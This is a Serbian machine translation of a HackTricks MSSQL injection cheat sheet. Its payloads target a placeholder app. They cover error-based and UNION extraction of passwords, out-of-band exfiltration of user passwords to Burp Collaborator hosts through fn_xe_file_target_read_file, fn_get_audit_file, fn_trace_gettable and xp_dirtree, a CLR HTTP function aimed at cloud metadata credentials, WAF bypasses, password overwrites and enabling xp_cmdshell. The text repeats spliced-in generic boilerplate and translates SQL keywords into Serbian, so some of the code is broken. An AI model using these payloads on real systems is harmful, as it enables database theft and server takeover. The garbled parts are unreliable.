MSSQL Injection

MSSQL Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Enumeracija Active Directory-ja

Moguće je enumerisati korisnike domena putem SQL injection-a unutar MSSQL servera koristeći sledeće MSSQL funkcije:

  • SELECT DEFAULT_DOMAIN(): Dobijanje trenutnog imena domena.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Ako znate ime domena (DOMAIN u ovom primeru), ova funkcija će vratiti SID korisnika Administrator u heksadecimalnom formatu. Izgledaće kao 0x01050000000[...]0000f401, obratite pažnju kako su poslednja 4 bajta broj 500 u big endian formatu, što je uobičajeni ID korisnika administratora. Ova funkcija će vam omogućiti da znate ID domena (svi bajtovi osim poslednjih 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Ova funkcija će vratiti korisničko ime za navedeni ID (ako postoji), u ovom slučaju 0000e803 u big endian == 1000 (obično je ovo ID prvog redovnog korisnika kreiranog). Tada možete pretpostaviti da možete pokušati brute-force ID-ova korisnika od 1000 do 2000 i verovatno dobiti sva korisnička imena korisnika domena. Na primer, koristeći funkciju kao što je sledeća:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternativni vektori zasnovani na greškama

SQL injekcije zasnovane na greškama obično podsećaju na konstrukcije poput +AND+1=@@version-- i varijante zasnovane na operatoru «OR». Upiti koji sadrže takve izraze obično su blokirani od strane WAF-ova. Kako biste zaobišli to, spojite string koristeći karakter %2b sa rezultatom određenih funkcija koje izazivaju grešku konverzije tipa podataka na tražene podatke.

Neki primeri takvih funkcija:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Primer korišćenja funkcije USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ove trikove za SSRF preuzeti su odavde

fn_xe_file_target_read_file

Zahteva dozvolu VIEW SERVER STATE na serveru.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Zahteva dozvolu CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Zahteva dozvolu CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Procedura čuvanja kao što je xp_dirtree, iako nije zvanično dokumentovana od strane Microsoft-a, opisana je od strane drugih na internetu zbog svoje korisnosti u mrežnim operacijama unutar MSSQL-a. Ove procedure se često koriste u izvlačenju podataka van mreže, kao što je prikazano u raznim primerima i postovima.

Na primer, procedura čuvanja xp_dirtree se koristi za slanje mrežnih zahteva, ali je ograničena samo na TCP port 445. Broj porta nije moguće menjati, ali omogućava čitanje sa mrežnih deljenih resursa. Upotreba je prikazana u sledećem SQL skriptu:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Važno je napomenuti da ova metoda možda neće raditi na svim konfiguracijama sistema, kao na primer na Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) koji se izvodi na Windows Server 2016 Datacenter sa podrazumevanim podešavanjima.

Dodatno, postoje alternativne uskladištene procedure poput master..xp_fileexist i xp_subdirs koje mogu postići slične rezultate. Dodatne detalje o xp_fileexist možete pronaći u ovom TechNet članku.

xp_cmdshell

Očigledno, takođe možete koristiti xp_cmdshell da izvršite nešto što pokreće SSRF. Za više informacija pročitajte relevantni odeljak na stranici:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL Korisnički definisana funkcija - SQLHttp

Kreiranje CLR UDF (Common Language Runtime User Defined Function), što je kod napisan na bilo kom .NET jeziku i kompajliran u DLL, da bi se učitao unutar MSSQL-a radi izvršavanja prilagođenih funkcija, je proces koji zahteva pristup dbo. To znači da je obično izvodljivo samo kada je veza sa bazom podataka uspostavljena kao sa ili sa administratorskom ulogom.

Projekat u Visual Studiju i uputstva za instalaciju su dostupni u ovom Github repozitorijumu kako bi se olakšalo učitavanje binarnog fajla u MSSQL kao CLR skup, čime se omogućava izvršavanje HTTP GET zahteva unutar MSSQL-a.

Srž ove funkcionalnosti je sadržana u fajlu http.cs, koji koristi klasu WebClient za izvršavanje GET zahteva i dobijanje sadržaja, kako je prikazano u nastavku:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Pre nego što izvršite CREATE ASSEMBLY SQL naredbu, preporučuje se da pokrenete sledeći SQL isječak kako biste dodali SHA512 heš skupa u listu pouzdanih skupova servera (vidljivo putem select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Nakon uspešnog dodavanja skupa instrukcija i kreiranja funkcije, može se koristiti sledeći SQL kod za izvršavanje HTTP zahteva:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Brzo iskorišćavanje: Dobijanje celokupnog sadržaja tabele u jednom upitu

Trik sa ovog linka.

Konzistentan metod za izvlačenje celokupnog sadržaja tabele u jednom upitu uključuje korišćenje klauzule FOR JSON. Ovaj pristup je kraći od korišćenja klauzule FOR XML, koja zahteva određeni mod kao što je "raw". Klauzula FOR JSON je poželjnija zbog svoje kraće sintakse.

Evo kako da dobijete šemu, tabele i kolone iz trenutne baze podataka:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
## MSSQL Injection

### Osnovno

MSSQL Injection je tehnika napada koja omogućava napadaču da izvrši zlonamerni SQL kod na MSSQL bazi podataka. Ova tehnika se koristi za otkrivanje i iskorišćavanje ranjivosti u aplikacijama koje koriste MSSQL bazu podataka.

### Identifikacija MSSQL Injection ranjivosti

Da biste identifikovali MSSQL Injection ranjivosti, možete koristiti različite tehnike, kao što su:

- Unos specijalnih karaktera: Pokušajte da unesete specijalne karaktere kao što su jednostruki navodnici ('), dvostruki navodnici ("), kose crte (/) i drugi karakteri koji mogu izazvati greške u SQL upitima.

- Greške na strani servera: Ako primetite greške na strani servera koje otkrivaju SQL kod ili strukturu baze podataka, to može ukazivati na ranjivost MSSQL Injection.

- Vreme odziva: Ako primetite da je vreme odziva servera duže nego obično, to može ukazivati na izvršavanje složenih SQL upita, što može biti znak MSSQL Injection ranjivosti.

### Eksploatacija MSSQL Injection ranjivosti

Kada identifikujete MSSQL Injection ranjivost, možete je iskoristiti za izvršavanje zlonamernog SQL koda. Evo nekoliko tehnika koje možete koristiti:

- Izvršavanje UNION upita: Možete koristiti UNION upit za spajanje rezultata dva ili više SQL upita. Ovo vam omogućava da izvučete podatke iz baze podataka.

- Izvršavanje SELECT upita: Možete izvršiti SELECT upit kako biste izvukli podatke iz baze podataka. Na primer, možete koristiti SELECT * FROM tabela kako biste izvukli sve podatke iz određene tabele.

- Izvršavanje INSERT, UPDATE ili DELETE upita: Možete izvršiti INSERT, UPDATE ili DELETE upit kako biste promenili podatke u bazi podataka.

### Prevencija MSSQL Injection ranjivosti

Da biste sprečili MSSQL Injection ranjivosti, preporučuje se sledeće:

- Korišćenje parametrizovanih upita: Koristite parametrizovane upite umesto konkatenacije korisničkog unosa u SQL upite. Ovo pomaže u sprečavanju ubacivanja zlonamernog koda.

- Validacija korisničkog unosa: Validirajte korisnički unos kako biste osigurali da sadrži samo očekivane vrednosti. Ovo pomaže u sprečavanju ubacivanja zlonamernog koda.

- Korišćenje principa najmanjih privilegija: Dodelite samo neophodne privilegije korisnicima baze podataka kako biste smanjili rizik od zloupotrebe MSSQL Injection ranjivosti.

### Zaključak

MSSQL Injection je ozbiljna ranjivost koja može dovesti do neovlašćenog pristupa i manipulacije podacima u MSSQL bazama podataka. Identifikacija i prevencija ove ranjivosti su ključni za održavanje sigurnosti aplikacija koje koriste MSSQL bazu podataka.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Ovde je prikazan primer SQL injection napada na Microsoft SQL Server bazu podataka. U ovom slučaju, korisnik je iskoristio ranjivost u aplikaciji "vuln.app" tako što je u URL-u promenio vrednost parametra "id" na "-1 union select null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null". Ova SQL naredba se izvršava u kontekstu baze podataka i omogućava korisniku da izvrši proizvoljan SQL kod.

Napadač koristi "union select" operator kako bi kombinovao rezultate dve SQL naredbe. Prva naredba "null" se koristi kako bi se izbeglo otkrivanje grešaka, dok se druga naredba izvršava kako bi se dobio tekst iz tabele "sys.dm_exec_requests" i "sys.dm_exec_sql_text". Ovim se omogućava napadaču da izvuče informacije iz baze podataka koje nisu namenjene javnom prikazu.

Ovaj primer ilustruje važnost pravilne validacije i sanitizacije korisničkog unosa kako bi se sprečili SQL injection napadi. Takođe, preporučuje se korišćenje parametrizovanih upita ili ORM alata koji automatski sanitizuju korisnički unos kako bi se smanjio rizik od ovakvih napada.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Ovaj SQL upit se koristi za prikazivanje dozvola korisnika za pregledanje stanja servera.


## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


MSSQL Injection

Opis

MSSQL Injection je tehnika napada koja omogućava napadaču da izvrši zlonamerni SQL kod na MSSQL bazi podataka. Ova tehnika se koristi za otkrivanje i iskorišćavanje ranjivosti u aplikacijama koje koriste MSSQL bazu podataka.

Napadni vektor

Napadni vektor za MSSQL Injection je unos SQL koda putem korisničkog interfejsa aplikacije koja koristi MSSQL bazu podataka. Ovaj unos se obično vrši putem polja za unos podataka, kao što je URL parametar ili formular.

Otkrivanje MSSQL Injection ranjivosti

Da biste otkrili MSSQL Injection ranjivost, možete isprobati različite tehnike, kao što je unošenje SQL koda u polje za unos podataka. Ako primetite da se SQL kod izvršava ili da se vraćaju osetljivi podaci, to može ukazivati na ranjivost.

Eksploatacija MSSQL Injection ranjivosti

Kada otkrijete MSSQL Injection ranjivost, možete je iskoristiti za izvršavanje različitih zlonamernih radnji, kao što su izvlačenje osetljivih podataka, modifikacija ili brisanje podataka, izvršavanje proizvoljnog koda i preuzimanje kontrole nad sistemom.

Prevencija MSSQL Injection ranjivosti

Da biste sprečili MSSQL Injection ranjivost, preporučuje se korišćenje parametrizovanih upita ili sprečavanje izvršavanja SQL koda unesenog od strane korisnika. Takođe je važno ažurirati i zakrpati MSSQL server kako bi se ispravile poznate ranjivosti.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Injection

Union-Based SQL Injection

Basic Union-Based SQL Injection

Osnovna Union-Based SQL Injection tehnika se može primeniti na MSSQL baze podataka. Ova tehnika se koristi za izvlačenje podataka iz baze kroz SQL upit.

Da biste izvršili Union-Based SQL Injection, potrebno je da pronađete tačku unosa koja je podložna SQL Injection napadu. U ovom slučaju, tačka unosa je id parametar u URL-u.

Primeri URL-ova koji su podložni SQL Injection napadu:

  • https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

  • https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

U ovim primerima, @@version funkcija se koristi za dobijanje verzije MSSQL servera. Kroz SQL Injection napad, možemo izvršiti ovu funkciju i dobiti informacije o verziji servera.

Izvršavanje SQL upita

Da biste izvršili SQL upit putem Union-Based SQL Injection, potrebno je da pronađete broj kolona u ciljanoj tabeli. Možete to uraditi pomoću sledećeg upita:

https://vuln.app/getItem?id=0eunion+select+null,null,null--

Ako dobijete grešku, povećajte broj null vrednosti u upitu dok ne dobijete rezultate bez greške. Na primer:

https://vuln.app/getItem?id=0eunion+select+null,null,null,null--

Kada pronađete broj kolona, možete izvršiti SQL upit i izvući podatke iz baze. Na primer, ako ciljate tabelu users sa 3 kolone, možete koristiti sledeći upit:

https://vuln.app/getItem?id=0eunion+select+null,username,password+from+users--

Ovaj upit će izvući korisnička imena i lozinke iz tabele users.


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


MSSQL Injection

Opis

MSSQL Injection je tehnika napada koja omogućava napadaču da izvrši zlonamerni SQL kod na MSSQL bazi podataka. Ova tehnika se koristi za izvlačenje osetljivih informacija, modifikaciju podataka ili čak za izvršavanje proizvoljnog koda na serveru.

Napad

Jedan od načina za izvršavanje MSSQL Injection napada je korišćenje SQL Injection payloada u URL parametru. Na primer, u URL-u https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--, napadač koristi 1 union select null,@@version,null from.users-- kao vrednost parametra id. Ovaj payload se koristi za izvršavanje SQL upita koji će izvući verziju MSSQL servera.

Prevencija

Da bi se sprečio MSSQL Injection napad, preporučuje se korišćenje parametrizovanih upita ili sprečavanje izvršavanja nebezbednih SQL kodova. Takođe je važno ažurirati MSSQL server na najnoviju verziju i primeniti sigurnosne zakrpe kako bi se ispravile poznate ranjivosti.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Osnovno

MSSQL Injection je tehnika napada koja omogućava napadaču da izvrši zlonamerni SQL kod na MSSQL bazi podataka. Ova tehnika se koristi za otkrivanje ranjivosti u aplikacijama koje koriste MSSQL bazu podataka i omogućava napadaču da izvršava neovlašćene SQL upite.

Identifikacija MSSQL Injection ranjivosti

Da biste identifikovali MSSQL Injection ranjivost, možete iskoristiti sledeće metode:

  1. Unos nevažećih karaktera: Pokušajte da unesete nevažeće karaktere kao što su jednostruki navodnici ('), dvostruki navodnici ("), kose crte (/) ili komentare (--). Ako primetite da se aplikacija ponaša drugačije ili prikazuje greške, to može ukazivati na ranjivost.

  2. Greške baze podataka: Ako primetite greške baze podataka koje se prikazuju na veb stranici ili u HTTP odgovoru, to može ukazivati na ranjivost. Ove greške mogu otkriti informacije o strukturi baze podataka ili izvršiti SQL upite.

  3. Vremenska kašnjenja: Ako primetite da se vreme odgovora servera značajno povećava nakon slanja određenih zahteva, to može ukazivati na ranjivost. Napadač može iskoristiti ovo kašnjenje kako bi izvršio SQL upite.

Eksploatacija MSSQL Injection ranjivosti

Kada identifikujete MSSQL Injection ranjivost, možete je iskoristiti za izvršavanje zlonamernog SQL koda. Evo nekoliko tehnika koje možete koristiti:

  1. Izvršavanje SELECT upita: Možete izvršiti SELECT upit kako biste dohvatili podatke iz baze podataka. Na primer, možete koristiti UNION SELECT izraz kako biste dohvatili podatke iz druge tabele.

  2. Izvršavanje INSERT, UPDATE ili DELETE upita: Možete izvršiti INSERT, UPDATE ili DELETE upit kako biste izmenili podatke u bazi podataka. Ovo može biti korisno ako želite da promenite ili obrišete određene podatke.

  3. Izvršavanje sistemskih komandi: Možete izvršiti sistemsku komandu kako biste dobili pristup operativnom sistemu. Na primer, možete izvršiti komandu xp_cmdshell kako biste izvršili sistemsku komandu na serveru.

Prevencija MSSQL Injection ranjivosti

Da biste sprečili MSSQL Injection ranjivost, možete preduzeti sledeće mere:

  1. Korišćenje parametrizovanih upita: Umesto da koristite konkatenaciju stringova za formiranje SQL upita, koristite parametrizovane upite. Ovo će sprečiti napadače da ubace zlonamerni SQL kod.

  2. Validacija unosa: Validirajte sve korisničke unose kako biste sprečili unos nevažećih karaktera ili SQL koda.

  3. Korišćenje principa najmanjih privilegija: Dodelite samo neophodne privilegije korisnicima baze podataka kako biste smanjili rizik od zloupotrebe.

  4. Ažuriranje softvera: Redovno ažurirajte MSSQL server i aplikacije kako biste ispravili poznate ranjivosti.

Zaključak

MSSQL Injection je ozbiljna ranjivost koja može omogućiti napadaču da izvršava zlonamerne SQL upite na MSSQL bazi podataka. Identifikacija i prevencija ove ranjivosti su ključni za održavanje sigurnosti aplikacija koje koriste MSSQL bazu podataka.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
koristi [tempdb]
kreiraj tabelu [test] ([id] int)
ubaci vrednosti u [test] (1)
selektuj [id] iz [test]
obrisi tabelu [test]

Can be reduced to:

```sql
Koristite[tempdb]kreirajte/**/tabelu[test]([id]int)ubaci[test]vrednosti(1)izaberi[id]iz[test]obriši/**/tabelu[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Dodavanje beskorisnog exec() na kraju i navođenje WAF-a da ovo nije validan upit
admina'union select 1,'admin','testtest123'exec('select 1')--
## Ovo će biti:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Korišćenje čudno konstruisanih upita
admin'exec('update[users]set[password]=''a''')--
## Ovo će biti:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Ili omogućavanje xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Ovo će biti:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated